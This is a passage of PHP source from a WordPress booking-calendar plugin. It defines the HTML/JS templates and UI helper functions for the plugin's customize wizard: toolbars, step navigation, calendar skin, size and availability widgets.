JS: <# if (true) { alert( 1 ); } #> * </script> * * var template__var = wp.template( 'template_name_a' ); * * jQuery( '.content' ).html( template__var( { 'test_key' => '<strong>Data</strong>' } ) ); * * @return void */ private function template__toolbar() { ?><script type="text/html" id="tmpl-wpbc_ajx_customize_plugin_toolbar_page_content"><?php ?><div class="ui_container ui_container_toolbar ui_container_mini ui_container_calendar_skin ui_container_filter_row_1" ><?php // Here will be composed template with real HTML ?><div class="ui_group" id="wpbc_hidden_template__select_booking_resource" ><?php // array( 'class' => 'group_nowrap' ) // Elements at Several or One Line // Resource select-box here. Defined as template at: private function template_toolbar_select_booking_resource(){ ?></div><?php ?><# var toolbar__horizontal_text_bar = wp.template( 'wpbc_ajx_customize_plugin__toolbar__horizontal_text_bar' ); #><?php ?><div class="ui_group" id="wpbc_toolbar_dates_hint"><div class="ui_element">{{{toolbar__horizontal_text_bar( data.ajx_data )}}}</div></div><?php // array( 'class' => 'group_nowrap' ) // Elements at Several or One Line ?><div class="ui_group"><?php ?><# var toolbar__buttons_prior_next = wp.template( 'wpbc_ajx_customize_plugin__toolbar__buttons_prior_next' ); #>{{{toolbar__buttons_prior_next( data.ajx_data )}}}<?php /* ?> ?><div class="ui_element"><?php wpbc_ajx_cstm__ui__button_step_prior( array( 'do_action' => 'save_calendar_skin', 'current_step' => 'calendar_skin', 'ui_clicked_element_id' => 'btn_' . 'calendar_skin' ) ); ?></div><?php ?><div class="ui_element"><?php wpbc_ajx_cstm__ui__button_step_next( array( 'do_action' => 'save_calendar_skin', 'current_step' => 'form_structure', 'ui_clicked_element_id' => 'btn_' . 'form_structure' ) ); ?></div><?php <?php */ ?></div><?php ?></div><?php ?></script><?php } /** * Tpl - sub Steps Bar * @return void */ private function template__toolbar__horizontal_text_bar(){ ?><script type="text/html" id="tmpl-wpbc_ajx_customize_plugin__toolbar__horizontal_text_bar"><?php //wpbc_ui_control wpbc_ui_addon wpbc_text_bar // wpbc_option_step wpbc_passed_step ?><# var item_num = 0; var total_num = _.size( data['customize_steps']['steps_arr'] ); var is_passed_step = 'wpbc_passed_step'; _.each( data['customize_steps']['steps_arr'], function ( p_val_arr, p_key_id, p_data ) { if ( p_key_id == data['customize_steps']['current'] ) { is_passed_step = ''; } item_num++; #><span class="wpbc_ui_control wpbc_ui_addon wpbc_text_bar"> <span class="{{p_val_arr.class}} {{is_passed_step}} <# if ( p_key_id == data['customize_steps']['current'] ){ #>wpbc_selected_step<# } #>"> <# if ( ( false ) || ( '' !== is_passed_step ) ) { <?php /* if first "false" then show links only for PASSED sub tabs. */ ?> #> <a href="javascript:void(0)" onclick="javascript:wpbc_ajx_customize_plugin__send_request_with_params( { 'current_step': '{{p_key_id}}' });" > {{item_num}}. {{{p_val_arr.html}}} </a> <# } else { #> {{item_num}}. {{{p_val_arr.html}}} <# } #> </span></span><# if ( item_num < total_num ) { #><span class="wpbc_ui_control wpbc_ui_addon wpbc_text_bar"> <span class="wpbc_option_separator {{is_passed_step}} "> > </span> </span><# } }); #><?php ?></script><?php } /** * Tpl - "Previous" | "Next" buttons in sub Steps Bar * @return void */ private function template__toolbar__buttons_prior_next(){ ?><script type="text/html" id="tmpl-wpbc_ajx_customize_plugin__toolbar__buttons_prior_next"><?php //wpbc_ui_control wpbc_ui_addon wpbc_text_bar // wpbc_option_step wpbc_passed_step ?> <# if ( '' != data.customize_steps.prior ) { #> <div class="ui_element"> <a id="btn__toolbar__buttons_prior" class="wpbc_ui_control wpbc_ui_button wpbc_ui_button tooltip_top " style="" href="javascript:void(0)" onclick="javascript:wpbc_ajx_customize_plugin__send_request_with_params( { 'do_action': 'none', 'current_step': '{{data.customize_steps.prior}}', 'ui_clicked_element_id': 'btn__toolbar__buttons_prior' } ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' ); " title="Go to previous step"> <i class="menu_icon icon-1x wpbc_icn_arrow_back_ios"></i> <span><?php _e('Back','booking') ?> </span> </a> </div> <# } #> <# if ( '' != data.customize_steps.next ) { #> <div class="ui_element"> <a id="btn__toolbar__buttons_next" class="wpbc_ui_control wpbc_ui_button wpbc_ui_button wpbc_ui_button_primary tooltip_top " style="" href="javascript:void(0)" onclick="javascript:wpbc_ajx_customize_plugin__send_request_with_params( { 'do_action': '{{data.customize_steps.action}}', 'current_step': '{{data.customize_steps.next}}', 'ui_clicked_element_id': 'btn__toolbar__buttons_next' } ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' ); " title="Go to next step"> <span><?php _e('Save and continue','booking') ?> </span> <i class="menu_icon icon-1x wpbc_icn_arrow_forward_ios"></i> </a> </div> <# } #> <?php ?></script><?php } // Support ===================================================================================================== /** * Tpl - Shortcode widget * * @return void */ private function template__widget__plugin_shortcode(){ ?><script type="text/html" id="tmpl-wpbc_ajx_widget_plugin_shortcode"> <div class="wpbc_widget wpbc_widget_plugin_shortcode"> <div class="wpbc_widget_header"> <span class="wpbc_widget_header_text"><?php _e('Shortcodes', 'booking'); ?></span> <a href="/" class="wpbc_widget_header_settings_link"><i class="menu_icon icon-1x wpbc_icn_settings"></i></a> </div> <div class="wpbc_widget_content wpbc_ajx_toolbar" style="margin:0 0 20px;"> <div class="ui_container" > <div class="ui_group ui_group__change_plugin_shortcode"><?php // Calendar Visible Months wpbc_ajx_cstm__ui__template__shortcode_booking_form(); ?> </div> </div> </div> </div> </script><?php } /** * Tpl - "Booking Resources" selectbox * * Help Tips: * * <script type="text/html" id="tmpl-template_name_a"> * Escaped: {{data.test_key}} * HTML: {{{data.test_key}}} * JS: <# if (true) { alert( 1 ); } #> * </script> * * var template__var = wp.template( 'template_name_a' ); * * jQuery( '.content' ).html( template__var( { 'test_key' => '<strong>Data</strong>' } ) ); * * @return void */ private function template__toolbar__select_booking_resource(){ // Template ?><script type="text/html" id="tmpl-wpbc_ajx_select_booking_resource"><?php if ( ! class_exists('wpdev_bk_personal') ) { echo '</script>'; return false; } /* ?><# console.log( ' == TEMPLATE PARAMS "wpbc_ajx_change_booking_resource" == ', data ); #><?php */ $booking_action = 'select_booking_resource'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { echo '</script>'; return false; } ?><div class="ui_element"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __( 'Booking resource', 'booking' ) . ':</span>' ) ); ?><select class="wpbc_ui_control wpbc_ui_select change_booking_resource_selectbox" id="<?php echo $el_id; ?>" name="<?php echo $el_id; ?>" <?php /* ?>onfocus="javascript:console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );"<?php /**/ ?> onchange="javascript:wpbc_admin_show_message_processing( '' );wpbc_ajx_customize_plugin__send_request_with_params( { 'resource_id': jQuery( this ).val() , 'dates_customize_plugin': jQuery( '.wpbc_radio__set_days_customize_plugin:checked' ).val() , 'dates_selection': '' , 'do_action': 'change_booking_resource' } );" ><# _.each( data.ajx_data.ajx_booking_resources, function ( p_resource, p_resource_id, p_data ){ #><option value="{{p_resource.booking_type_id}}" <# if ( data.ajx_cleaned_params.resource_id == p_resource.booking_type_id ) { #> selected="SELECTED" <# } #> style="<# if( undefined != p_resource.parent ) { if( '0' == p_resource.parent ) { #>font-weight:600;<# } else { #>font-size:0.95em;padding-left:20px;<# } } #>" ><# if( undefined != p_resource.parent ) { if( '0' != p_resource.parent ) { #> <# } } #>{{p_resource.title}}</option><# }); #> </select><?php ?></div> <div class="ui_element"><?php ?><div class="wpbc_ui_separtor" style="margin-left: 8px;"></div><?php ?></div><?php ?></script><?php } /** * Tpl - Footer - Skip | Reset buttons * * Help Tips: * * <script type="text/html" id="tmpl-template_name_a"> * Escaped: {{data.test_key}} * HTML: {{{data.test_key}}} * JS: <# if (true) { alert( 1 ); } #> * </script> * * var template__var = wp.template( 'template_name_a' ); * * jQuery( '.content' ).html( template__var( { 'test_key' => '<strong>Data</strong>' } ) ); * * @return void */ private function template__status_bar__footer() { ?><script type="text/html" id="tmpl-wpbc_ajx_customize_plugin__status_bar__footer"><?php ?><div class="wpbc_ajx_cstm__status_bar__footer wpbc_ajx_toolbar" style="margin: 10px 0 0;border-top: 1px solid #ccc;"><?php ?><div class="ui_container ui_container_toolbar ui_container_mini ui_container_calendar_skin ui_container_filter_row_1" style="border: none;background: transparent;" ><?php ?><div class="ui_group" style="flex:1 1 auto;"><?php ?><div class="ui_element"><?php wpbc_ajx_cstm__ui__reset_to_default__btn(); // Reset Button ?></div><?php ?><div class="ui_element"><?php wpbc_ajx_cstm__ui__skip_wizard__btn(); // Skip Wizard button ?></div><?php ?></div><?php /** * We do not need the sub tabs here ?><# var toolbar__horizontal_text_bar = wp.template( 'wpbc_ajx_customize_plugin__toolbar__horizontal_text_bar' ); #><?php ?><div class="ui_group" id="wpbc_toolbar_dates_hint"><div class="ui_element">{{{toolbar__horizontal_text_bar( data.ajx_data )}}}</div></div><?php // array( 'class' => 'group_nowrap' ) // Elements at Several or One Line */ ?><div class="ui_group"><?php ?><# var toolbar__buttons_prior_next = wp.template( 'wpbc_ajx_customize_plugin__toolbar__buttons_prior_next' ); #>{{{toolbar__buttons_prior_next( data.ajx_data )}}}<?php ?></div><?php ?></div><?php // ui_container ?></div><?php // wpbc_ajx_toolbar ?></script><?php } // Widgets ===================================================================================================== /** * Tpl - Calendar - Skin * * Help Tips: * * <script type="text/html" id="tmpl-template_name_a"> * Escaped: {{data.test_key}} * HTML: {{{data.test_key}}} * JS: <# if (true) { alert( 1 ); } #> * </script> * * var template__var = wp.template( 'template_name_a' ); * * jQuery( '.content' ).html( template__var( { 'test_key' => '<strong>Data</strong>' } ) ); * * @return void */ private function template__widget__change_calendar_skin(){ ?><script type="text/html" id="tmpl-wpbc_ajx_widget_change_calendar_skin"> <div class="wpbc_widget wpbc_widget_change_calendar_skin"> <div class="wpbc_widget_header"> <span class="wpbc_widget_header_text"><?php _e('Calendar Skin', 'booking'); ?></span> <a href="/" class="wpbc_widget_header_settings_link"><i class="menu_icon icon-1x wpbc_icn_settings"></i></a> </div> <div class="wpbc_widget_content wpbc_ajx_toolbar" style="margin:0 0 20px;"> <div class="ui_container" > <div class="ui_group ui_group__change_calendar_skin"><?php // Calendar skin ?><div class="ui_element ui_nowrap0"><?php $booking_action = 'set_calendar_skin'; $el_id = 'ui_btn_cstm__' . $booking_action ; wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __( 'Select the skin of the booking calendar', 'booking' ) . ':</span>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap"><?php wpbc_ajx_cstm__ui__calendar_skin_dropdown(); $is_apply_rotating_icon = false; wpbc_ajx_cstm__ui__selectbox_prior_btn( $el_id, $is_apply_rotating_icon ); wpbc_ajx_cstm__ui__selectbox_next_btn( $el_id, $is_apply_rotating_icon ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ // Set selected option in dropdown list based on data. value jQuery( '#ui_btn_cstm__set_calendar_skin option[value="<?php echo WPBC_PLUGIN_URL; ?>' + data.ajx_cleaned_params.customize_plugin__booking_skin + '"]' ).prop( 'selected', true ); wpbc__calendar__change_skin( '<?php echo WPBC_PLUGIN_URL; ?>' + data.ajx_cleaned_params.customize_plugin__booking_skin ); } ); <?php if (0) { ?></script><?php } ?> #><?php // Calendar Visible Months wpbc_ajx_cstm__ui__template__visible_months(); ?> </div> </div> </div> </div> </script><?php } /** * Tpl - Calendar - Size * @return void */ private function template__widget__calendar_size(){ ?><script type="text/html" id="tmpl-wpbc_ajx_widget_calendar_size"> <div class="wpbc_widget wpbc_widget_calendar_size"> <div class="wpbc_widget_header"> <span class="wpbc_widget_header_text"><?php _e('Calendar size', 'booking'); ?></span> <a href="/" class="wpbc_widget_header_settings_link"><i class="menu_icon icon-1x wpbc_icn_settings"></i></a> </div> <div class="wpbc_widget_content wpbc_ajx_toolbar" style="margin:0 0 20px;"> <div class="ui_container" > <div class="ui_group ui_group__change_calendar_size"><?php // Calendar Visible Months wpbc_ajx_cstm__ui__template__visible_months(); // Calendar Months Number in a Row wpbc_ajx_cstm__ui__template__months_in_row(); // Calendar - Width wpbc_ajx_cstm__ui__template__calendar_width(); // Calendar - Cell Height wpbc_ajx_cstm__ui__template__calendar_cell_height(); ?> </div> </div> <div class="ui_container ui_container_toolbar ui_container_small"> <div class="ui_group ui_group__change_calendar_size" style="flex: 1 1 auto;"><?php ?><div class="ui_element ui_nowrap0"><?php wpbc_ajx_cstm__ui__calendar_size_reset__btn(); ?></div><?php ?><div class="ui_element ui_nowrap0" style="margin-left:auto;"><?php wpbc_ajx_cstm__ui__calendar_size_apply__btn(); ?></div><?php ?> </div> </div> </div> </div> </script><?php } /** * Tpl - Calendar - Dates Selection * * Help Tips: * * <script type="text/html" id="tmpl-template_name_a"> * Escaped: {{data.test_key}} * HTML: {{{data.test_key}}} * JS: <# if (true) { alert( 1 ); } #> * </script> * * var template__var = wp.template( 'template_name_a' ); * * jQuery( '.content' ).html( template__var( { 'test_key' => '<strong>Data</strong>' } ) ); * * @return void */ private function template__widget__calendar_dates_selection(){ ?><script type="text/html" id="tmpl-wpbc_ajx_widget_calendar_dates_selection"> <div class="wpbc_widget wpbc_widget_calendar_dates_selection"> <div class="wpbc_widget_header"> <span class="wpbc_widget_header_text"><?php _e('Dates selection', 'booking'); ?></span> <a href="/" class="wpbc_widget_header_settings_link"><i class="menu_icon icon-1x wpbc_icn_settings"></i></a> </div> <div class="wpbc_widget_content wpbc_ajx_toolbar" style="margin:0 0 20px;"> <div class="ui_container" > <div class="ui_group ui_group__change_calendar_dates_selection"><?php // Calendar Visible Months wpbc_ajx_cstm__ui__template__calendar_dates_selection(); ?> </div> </div> </div> </div> <?php ?> <div class="wpbc_widget wpbc_widget_calendar_dates_selection_range"> <div class="wpbc_widget_header"> <span class="wpbc_widget_header_text"><?php _e('Range days selection', 'booking'); ?></span> <a href="/" class="wpbc_widget_header_settings_link"><i class="menu_icon icon-1x wpbc_icn_settings"></i></a> </div> <div class="wpbc_widget_content wpbc_ajx_toolbar" style="margin:0 0 20px;"> <div class="ui_container ui_container_toolbar ui_container_small"> <?php $is_blur = ( ! class_exists( 'wpdev_bk_biz_s' ) ) ? 'wpbc_blur' : ''; if ( ! empty( $is_blur ) ) { wpbc_ajx_cstm__ui__upgrade_note( 'biz_s', 'https://wpbookingcalendar.com/features/#range-days-selection' ); } ?> <div class="ui_group ui_group__change_calendar_dates_selection <?php echo $is_blur; ?>"> <?php wpbc_ajx_cstm__ui__template__calendar_dates_selection_range(); ?> </div> </div> </div> </div> </script><?php } /** * Tpl - Calendar - Weekdays Availability * * Help Tips: * * <script type="text/html" id="tmpl-template_name_a"> * Escaped: {{data.test_key}} * HTML: {{{data.test_key}}} * JS: <# if (true) { alert( 1 ); } #> * </script> * * var template__var = wp.template( 'template_name_a' ); * * jQuery( '.content' ).html( template__var( { 'test_key' => '<strong>Data</strong>' } ) ); * * @return void */ private function template__widget__calendar_weekdays_availability(){ ?><script type="text/html" id="tmpl-wpbc_ajx_widget_calendar_weekdays_availability"> <div class="wpbc_widget wpbc_widget_calendar_weekdays_availability"> <div class="wpbc_widget_header"> <span class="wpbc_widget_header_text"><?php _e('Unavailable week days', 'booking'); ?></span> <a href="/" class="wpbc_widget_header_settings_link"><i class="menu_icon icon-1x wpbc_icn_settings"></i></a> </div> <div class="wpbc_widget_content wpbc_ajx_toolbar" style="margin:0 0 20px;"> <div class="ui_container" > <div class="ui_group ui_group__change_calendar_weekdays_availability"><?php // Calendar unavailable weekdays wpbc_ajx_cstm__ui__template__calendar_weekdays_availability(); ?> </div> </div> </div> </div> <?php ?> <div class="wpbc_widget wpbc_widget_calendar_weekdays_availability_pro"> <div class="wpbc_widget_header"> <span class="wpbc_widget_header_text"><?php _e('Advanced availability', 'booking'); ?></span> <a href="/" class="wpbc_widget_header_settings_link"><i class="menu_icon icon-1x wpbc_icn_settings"></i></a> </div> <div class="wpbc_widget_content wpbc_ajx_toolbar" style="margin:0 0 20px;"> <div class="ui_container ui_container_toolbar ui_container_small0"> <div class="ui_group ui_group__change_calendar_today_availability"> <?php wpbc_ajx_cstm__ui__template__calendar_unavailable_from_today(); ?> </div> <?php $is_blur = ( ! class_exists( 'wpdev_bk_biz_m' ) ) ? 'wpbc_blur' : ''; if ( ! empty( $is_blur ) ) { ?><div class="clear" style="width:101%;height:50px;"></div><?php wpbc_ajx_cstm__ui__upgrade_note( 'biz_m', 'https://wpbookingcalendar.com/features/#availability-from-today' ); } ?> <div class="ui_group ui_group__change_calendar_weekdays_availability <?php echo $is_blur; ?>"> <?php wpbc_ajx_cstm__ui__template__calendar_limit_available_from_today(); wpbc_ajx_cstm__ui__template__calendar_unavailable_before_after_bookings(); ?> </div> </div> <div class="ui_container ui_container_toolbar ui_container_small"> <div class="ui_group ui_group__change_calendar_size" style="flex: 1 1 auto;"><?php ?><div class="ui_element ui_nowrap0" style="margin-left: auto;"><?php wpbc_ajx_cstm__ui__calendar_weekdays_availability_reset__btn(); ?></div><?php ?> </div> </div> </div> </div> </script><?php } /** * Tpl - Calendar - Size * @return void */ private function template__widget__calendar_additional(){ ?><script type="text/html" id="tmpl-wpbc_ajx_widget_calendar_additional"> <div class="wpbc_widget wpbc_widget_calendar_size"> <div class="wpbc_widget_header"> <span class="wpbc_widget_header_text"><?php _e( 'Additional Settings', 'booking' ); ?></span> <a href="/" class="wpbc_widget_header_settings_link"><i class="menu_icon icon-1x wpbc_icn_settings"></i></a> </div> <div class="wpbc_widget_content wpbc_ajx_toolbar" style="margin:0 0 20px;"> <div class="ui_container" > <div class="ui_group ui_group__change_calendar_size"><?php // Calendar months_to_scroll wpbc_ajx_cstm__ui__template__months_to_scroll(); wpbc_ajx_cstm__ui__template__start_day_weeek(); ?> </div> </div> </div> </div> </script><?php } // </editor-fold> } /** * Just for loading CSS and JavaScript files */ if ( true ) { $ajx_customize_plugin_loading = new WPBC_AJX__Customize_Plugin__Templates; $ajx_customize_plugin_loading->init_load_css_js_tpl(); } //////////////////////////////////////////////////////////////////////////////// // T e m p l a t e s UI //////////////////////////////////////////////////////////////////////////////// /** * Show Upgrade Note with link to specific feature. * * @param $version - 'free' | 'personal' | 'biz_s' | 'biz_m' | 'biz_l' | 'multiuser'; it's from wpbc_get_version_type__and_mu(); * @param $url - full URL * * @return void * * Example: wpbc_ajx_cstm__ui__upgrade_note( 'biz_s', 'https://wpbookingcalendar.com/features/#range-days-selection' ); */ function wpbc_ajx_cstm__ui__upgrade_note( $version, $url ){ $ver_title = $version; // wpbc_get_plugin_version_type(); $ver_title = str_replace( '_m', ' Medium', $ver_title ); $ver_title = str_replace( '_l', ' Large', $ver_title ); $ver_title = str_replace( '_s', ' Small', $ver_title ); $ver_title = str_replace( 'biz', 'Business', $ver_title ); $ver_title = ucwords( $ver_title ); ?> <div class="ui_group ui_group__upgrade"> <div class="wpbc_upgrade_note"> This <a target="_blank" href="<?php echo $url; ?>">feature</a> requires the <a target="_blank" href="<?php echo $url; ?>"><?php echo $ver_title; ?></a> <?php if ( 'multiuser' !== $version ) { ?> or higher versions <?php } ?> </div> </div> <?php } /** * Button - Skip Wizard * @return void */ function wpbc_ajx_cstm__ui__skip_wizard__btn(){ $params = array( 'type' => 'button' , 'title' => __( 'Skip Wizard', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Reset selected options to default values', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_customize_plugin__send_request_with_params( { 'do_action': 'make_finish', 'ui_clicked_element_id': 'btn__status_bar__skip_wizard' } ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );", // JavaScript 'icon' => array( 'icon_font' => 'wpbc_icn_rotate_left', //'wpbc_icn_rotate_left', wpbc_icn_close 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_ui_button', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => 'btn__status_bar__skip_wizard' ) ); wpbc_flex_button( $params ); } /** * Button - Reset Wizard to default values * @return void */ function wpbc_ajx_cstm__ui__reset_to_default__btn(){ $params = array( 'type' => 'button' , 'title' => __( 'Reset Wizard', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Reset selected options to default values', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_customize_plugin__send_request_with_params( { 'do_action': 'make_reset', 'ui_clicked_element_id': 'btn__status_bar__reset' } ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );", // JavaScript 'icon' => array( 'icon_font' => 'wpbc_icn_settings_backup_restore', //'wpbc_icn_rotate_left', 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_ui_button_danger', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => 'btn__status_bar__reset' ) ); wpbc_flex_button( $params ); } /** * Button - Select Prior Skin in select-box * @return void */ function wpbc_ajx_cstm__ui__selectbox_prior_btn( $dropdown_id, $is_apply_rotating_icon = true ){ $params_button = array( 'type' => 'button' , 'title' => '' // Title of the button // , 'hint' => array( 'title' => __('Previous' ,'booking') , 'position' => 'top' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => // "console.log( 'ON CLICK:', jQuery( '[name=\"set_days_customize_plugin\"]:checked' ).val() , jQuery( 'textarea[id^=\"date_booking\"]' ).val() );" // Some JavaScript to execure, for example run the function " var is_selected = jQuery( '#" . $dropdown_id . " option:selected' ).prop('selected', false).prev(); " . " if ( is_selected.length == 0 ){ " . " is_selected = jQuery( '#" . $dropdown_id . " option' ).last(); " . " } " . " if ( is_selected.length > 0 ){ " . " is_selected.prop('selected', true).trigger('change'); " . ( ( $is_apply_rotating_icon ) ? " wpbc_button_enable_loading_icon( this ); " : "" ) . " } else { " . " jQuery( this ).addClass( 'disabled' ); " . " } " , 'class' => 'wpbc_ui_button' // wpbc_ui_button | wpbc_ui_button_primary //, 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'icon' => array( 'icon_font' => 'wpbc_icn_arrow_back_ios', // 'wpbc_icn_check_circle_outline', 'position' => 'left', 'icon_img' => '' ) , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ); wpbc_flex_button( $params_button ); } /** * Button - Select Next Skin in select-box * @return void */ function wpbc_ajx_cstm__ui__selectbox_next_btn( $dropdown_id, $is_apply_rotating_icon = true ){ $params_button = array( 'type' => 'button' , 'title' => '' // Title of the button // , 'hint' => array( 'title' => __('Next' ,'booking') , 'position' => 'top' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => //"console.log( 'ON CLICK:', jQuery( '[name=\"set_days_customize_plugin\"]:checked' ).val() , jQuery( 'textarea[id^=\"date_booking\"]' ).val() );" // Some JavaScript to execure, for example run the function " var is_selected = jQuery( '#" . $dropdown_id . " option:selected' ).prop('selected', false).next(); " . " if ( is_selected.length == 0 ){ " . " is_selected = jQuery( '#" . $dropdown_id . " option' ).first(); " . " } " . " if ( is_selected.length > 0 ){ " . " is_selected.prop('selected', true).trigger('change'); " . ( ( $is_apply_rotating_icon ) ? " wpbc_button_enable_loading_icon( this ); " : "" ) . " } else { " . " jQuery( this ).addClass( 'disabled' ); " . " } " , 'class' => 'wpbc_ui_button' // wpbc_ui_button | wpbc_ui_button_primary //, 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'icon' => array( 'icon_font' => 'wpbc_icn_arrow_forward_ios', // 'wpbc_icn_check_circle_outline', 'position' => 'right', 'icon_img' => '' ) , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ); wpbc_flex_button( $params_button ); } /** * Textarea that show shortcode for booking form * @return void */ function wpbc_ajx_cstm__ui__template__shortcode_booking_form(){ $booking_action = 'set_shortcode_booking_form'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __('Booking form shortcode' ,'booking') . ':</span>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap" style="flex: 1 1 100%;"><?php $param_text = array( 'type' => 'text' , 'id' => $el_id , 'name' => $el_id , 'label' => '' , 'disabled' => false , 'class' => 'put-in' , 'style' => 'width:100%;height:auto;font-weight:600;' , 'placeholder' => '0' , 'attr' => array() , 'is_escape_value' => false , 'value' => "{{ data.ajx_data.calendar_settings.shortcode__booking_form }}" , 'onfocus' => 'this.select()' //, 'onkeydown' => "jQuery('.ui__set_booking_cost__section_in_booking_{{data['parsed_fields']['booking_id']}}').show();" // JavaScript code //, 'onchange' => "" , 'rows' => '4' , 'cols' => '50' , 'attr' => array( 'readonly' => 'readonly' ) ); wpbc_flex_textarea( $param_text ); //wpbc_flex_text( $param_text ); ?></div><?php } // <editor-fold defaultstate="collapsed" desc=" == Calendar Skin UI == " > /** * Select-box - Calendar skins * * @return void */ function wpbc_ajx_cstm__ui__calendar_skin_dropdown(){ $booking_action = 'set_calendar_skin'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } // Calendar Skin ///////////////////////////////////////////////////// $calendar_skins_options = array(); // Skins in the Custom User folder (need to create it manually): http://example.com/wp-content/uploads/wpbc_skins/ ( This folder do not owerwrited during update of plugin ) $upload_dir = wp_upload_dir(); //FixIn: 8.9.4.8 $files_in_folder = wpbc_dir_list( array( WPBC_PLUGIN_DIR . '/css/skins/', $upload_dir['basedir'].'/wpbc_skins/' ) ); // Folders where to look about calendar skins foreach ( $files_in_folder as $skin_file ) { // Example: $skin_file['/css/skins/standard.css'] => 'Standard'; //FixIn: 8.9.4.8 //FixIn: 9.1.2.10 $skin_file[1] = str_replace( array( WPBC_PLUGIN_DIR, WPBC_PLUGIN_URL , $upload_dir['basedir'] ), '', $skin_file[1] ); // Get relative path for calendar skin $calendar_skins_options[ WPBC_PLUGIN_URL . $skin_file[1] ] = $skin_file[2]; } $params_select = array( 'id' => $el_id // HTML ID of element , 'name' => $booking_action , 'label' => '' //__( 'Select the skin of the booking calendar', 'booking' )//__('Calendar Skin', 'booking') , 'style' => '' // CSS of select element , 'class' => 'wpbc_radio__set_days_customize_plugin' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $calendar_skins_options //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param('customize_plugin__booking_skin', jQuery(this).val().replace( '" . WPBC_PLUGIN_URL . "', '') );" // , 'onchange' => "jQuery(this).hide(); // var jButton = jQuery('#button_locale_for_booking{{data[\'parsed_fields\'][\'booking_id\']}}'); // jButton.show(); // wpbc_button_enable_loading_icon( jButton.get(0) ); " // . " wpbc_ajx_booking_ajax_action_request( { // 'booking_action' : '{$booking_action}', // 'booking_id' : {{data[\'parsed_fields\'][\'booking_id\']}}, // 'booking_meta_locale' : jQuery('#locale_for_booking{{data[\'parsed_fields\'][\'booking_id\']}} option:selected').val() // } );" ); wpbc_flex_select( $params_select ); } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Calendar Size UI == " > /** * Select-box - Number of Visible Months * * @return void */ function wpbc_ajx_cstm__ui__template__visible_months(){ $booking_action = 'set_calendar_visible_months'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __('Number of visible months' ,'booking') . ':</span>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap"><?php // Options $dropdown_options = array( 1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5, 6 => 6, 7 => 7, 8 => 8, 9 => 9, 10 => 10, 11 => 11, 12 => 12 ); $params_select = array( 'id' => $el_id // HTML ID of element , 'name' => $booking_action , 'label' => '' //__( 'Select the skin of the booking calendar', 'booking' )//__('Calendar Skin', 'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $dropdown_options //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'calendar__view__visible_months', jQuery(this).val() ); var t_visible_months = parseInt( wpbc_ajx_customize_plugin.search_get_param( 'calendar__view__visible_months' ) 